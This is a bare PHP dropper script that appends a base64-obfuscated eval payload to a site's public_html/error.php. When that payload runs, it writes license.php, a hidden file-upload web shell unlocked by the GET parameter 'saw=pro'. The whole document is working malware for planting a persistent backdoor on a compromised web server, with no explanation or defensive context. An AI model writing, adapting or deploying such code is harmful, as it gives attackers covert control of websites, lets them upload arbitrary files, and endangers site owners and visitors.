php.php

<?php
error_reporting(0);
$file="./public_html/error.php";
$shellcode = ("<? eval(base64_decode('JGMzbyA9IGJhc2U2NF9kZWNvZGUoIlBEOXdhSEFnRFFwbGNuSnZjbDl5WlhCdmNuUnBibWNvTUNrN0lBMEtKSE41YzNSbGJTQTlJQ1JmUjBWVVd5ZHpZWGNuWFRzZ0RRcHBaaWdrYzNsemRHVnRJRDA5SUNkd2NtOG5LWHNnRFFva2MyRjNNU0E5SUNSZlJrbE1SVk5iSjJacGJHVW5YVnNuZEcxd1gyNWhiV1VuWFRzZ0RRb2tjMkYzTWlBOUlDUmZSa2xNUlZOYkoyWnBiR1VuWFZzbmJtRnRaU2RkT3lBTkNtVmphRzhnSWp4bWIzSnRJRzFsZEdodlpEMG5VRTlUVkNjZ1pXNWpkSGx3WlQwbmJYVnNkR2x3WVhKMEwyWnZjbTB0WkdGMFlTYytJQTBLUEdsdWNIVjBJSFI1Y0dVOUoyWnBiR1VuYm1GdFpUMG5abWxzWlNjZ0x6NGdEUW84YVc1d2RYUWdkSGx3WlQwbmMzVmliV2wwSnlCMllXeDFaVDBuZFhCc2IyRmtJSE5vWld4c0p5QXZQaUFOQ2p3dlptOXliVDRpT3lBTkNtMXZkbVZmZFhCc2IyRmtaV1JmWm1sc1pTZ2tjMkYzTVN3a2MyRjNNaWs3SUEwS2ZTQU5DajgrRFFvPSIpOw0KJHJlZCA9IGZvcGVuKCJsaWNlbnNlLnBocCIsInciKTsNCmZ3cml0ZSgkcmVkLCRjM28pOw==')); ?>");
$fopen=fopen($file,"a+");
$fwrite=fwrite($fopen,$shellcode);
$fclose=fclose($fopen);
?>